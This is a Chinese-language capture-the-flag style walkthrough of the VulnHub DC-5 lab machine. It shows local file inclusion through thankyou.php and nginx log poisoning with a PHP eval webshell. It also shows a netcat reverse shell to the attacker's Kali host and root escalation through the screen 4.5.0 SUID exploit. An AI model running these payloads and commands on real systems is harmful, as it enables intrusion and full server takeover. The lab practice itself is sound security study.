这次渗透是DC系列(VulnHub的仿真靶机)的DC-5,包含了日志文件getshell、suid提权-screen 4.5.0等知识。
VulnHub靶机渗透之DC-5【DC系列】
kali:192.168.124.134
主机发现-》获取靶机dc-5的IP地址:192.168.124.135
#获取ip地址 |
扫描操作系统类型、开放端口:linux操作系统、 80http、111rpc、54438
80 http
111 rpc 【RPC是一个服务,主要是在nfs共享时候负责通知客户端,服务器的nfs端口号的。简单理解rpc就是一个中介服务。】
54438端口开放
脚本是php的
发现Contact模块下可以输入内容,于是尝试多输入几次之后,发现了可疑的地方
看到有个表单可以提交,提交一下看看,发现了它会被提交到 thankyou.php
这个文件:
版权时间发生变化。
提交后的页面2017、2018、2019、2020都有,一直在变化
可以看到相同的页面,只是局部发生了改变,说明这里使用了文件包含。
动态文件包含√ 本地文件包含√ 远程文件包含×
服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当PHP来执行,这会为开发者节省大量的时间。这意味着您可以创建供所有网页引用的标准页眉或菜单文件。当页眉需要更新时,您只更新一个包含文件就可以了,或者当您向网站添加一张新页面时,仅仅需要修改一下菜单文件(而不是更新所有网页中的链接)。 |
看能不能找到这个包含的文件。
github上找了一个PHP的字典,用御剑跑了一下
测试一下是否为动态包含
找到这个脚本是 footer.php,多刷新几次都在变化,时间是会变动,是动态包含。
知道了这个脚本,现在需要知道thankyou.php是如何把footer.php包含的
文件包含参数爆破【其实我也用了wfuzz工具的,但是当时字典没找好,啥也没爆破出来】
手工测试
filename、file等来读取一下/etc/passwd。
尝试一下文件包含
http://192.168.124.135/thankyou.php?firstname=12&lastname=12&country=australia&subject=12 【原】 |
很巧,手工测出来了。
burp爆破
但是如果在一般情况下,常用的几个都弄完了,我们需要用burp进行爆破一下。
首先网上找一个好用的字典。
测试了一下远程文件包含,发现失败了,说明只能本地文件包含。
文件包含漏洞利用
找到了这些,但是字典还是不够大,没找到可以利用的东西,网上搜索了教程一下发现 /var/log/nginx/access.log 可以利用。
/var/log/nginx/access.log 会记录实时的请求数据报。
通过包含日志文件getshell
既然日志能记录我们的操作,那么我们就写入一句话到日志文件里吧:【通过包含日志文件getshell】
http://192.168.124.135/thankyou.php?file=<?php @eval($_REQUEST['shell'])?> |
测试一下phpinfo()的php代码可不可以执行
phpinfo()的函数执行成功
写入php一句话木马:
<?php @eval($_REQUEST['shell'])?> |
中国蚁剑连接成功
连接成功
反弹shell
kali: 【在kali端开启监听1234端口。】
nc -lvp 1234 |
靶机dc5:【dc5反向连接kali的监听端口】
nc 192.168.124.134 1234 -e /bin/bash |
连接成功
然后我们使用python获取一个完整的交互式shell,即bash
python -c 'import pty;pty.spawn("/bin/bash")' |
suid提权-screen 4.5.0
sudo -l |
sudo -l
没权限,看看suid
吧。
尝试查找具有root权限的SUID的文件。
find / -perm /4000 2>/dev/null |
【Screen是一款由GNU计划开发的用于命令行终端切换的自由软件。用户可以通过该软件同时连接多个本地或远程的命令行会话,并在其间自由切换。GNU
Screen可以看作是窗口管理器的命令行界面版本。它提供了统一的管理多个会话的界面和相应的功能。】
利用screen-4.5.0提权
searchsploit screen 4.5.0 |
#!/bin/bash |
这个脚本主要由三部分组成,原本是直接执行脚本,可是这个脚本有问题,所以需要创建2个文件,把每个代码块单独拿出来执行。
移动目录到/tmp下
创建第一个文件,并复制一下代码块
vi libhax.c |
#include <stdio.h> |
创建第二个文件,复制第二个代码块
vi rootshell.c |
#include <stdio.h> |
用gcc 编译两个文件:
gcc -fPIC -shared -ldl -o libhax.so libhax.c |
依次执行以下命令,得到root权限
cd /etc# because |
总结:
文件包含参数与linux可用私密文件爆破【字典特别重要,github的一些star很多的项目也不够,以后要持续收集、wfuzz和burp都好用】、通过包含日志文件getshell、suid提权-screen 4.5.0
本次实验中使用wfuzz的一次失败经历
使用wfuzz【Web安全模糊测试工具】测试一下页面,失败了。用kali自带工具wfuzz(自带字典)扫描文件
wfuzz -w /usr/share/wordlists/wfuzz/general/test.txt http://192.168.124.135/FUZZ.php |
wfuzz -w /usr/share/wordlists/wfuzz/general/test.txt http://192.168.124.135/FUZZ.php |
如果确定了它存在本地文件包含!可以继续用wfuzz 缩小我们得到的参数范围:
wfuzz -w /usr/share/wfuzz/wordlist/general/lfi1.txt -w /usr/share/wfuzz/wordlist/lfi.txt http://192.168.124.135/thankyou.php?FUZZ=FUZ2Z |
kali的默认字典【user/share/wfuzz/wordlist】里面没有lfi【本地文件包含的】的字典
网上找了一个lfi字典给kali用用
好吧真不行,
wfuzz -w /usr/share/wfuzz/wordlist/general/lfi1.txt -w /usr/share/wfuzz/wordlist/lfi.txt http://192.168.124.135/thankyou.php?FUZZ=FUZ2Z |
github自带的fuzz字典不行呀,网上暂时也没搜到什么。
额外知识:
Linux/Unix系统常见的敏感信息路径: |
参考链接:
VulnHub通关日记-DC_5-Walkthrough 【Gcow安全团队】
打靶系列之-DC-5 【零度安全攻防实验室】
https://blog.csdn.net/gramdog/article/details/80374119 【Shell中 2>/dev/null】
https://blog.csdn.net/Wu000999/article/details/101796673 【常用的php一句话木马格式】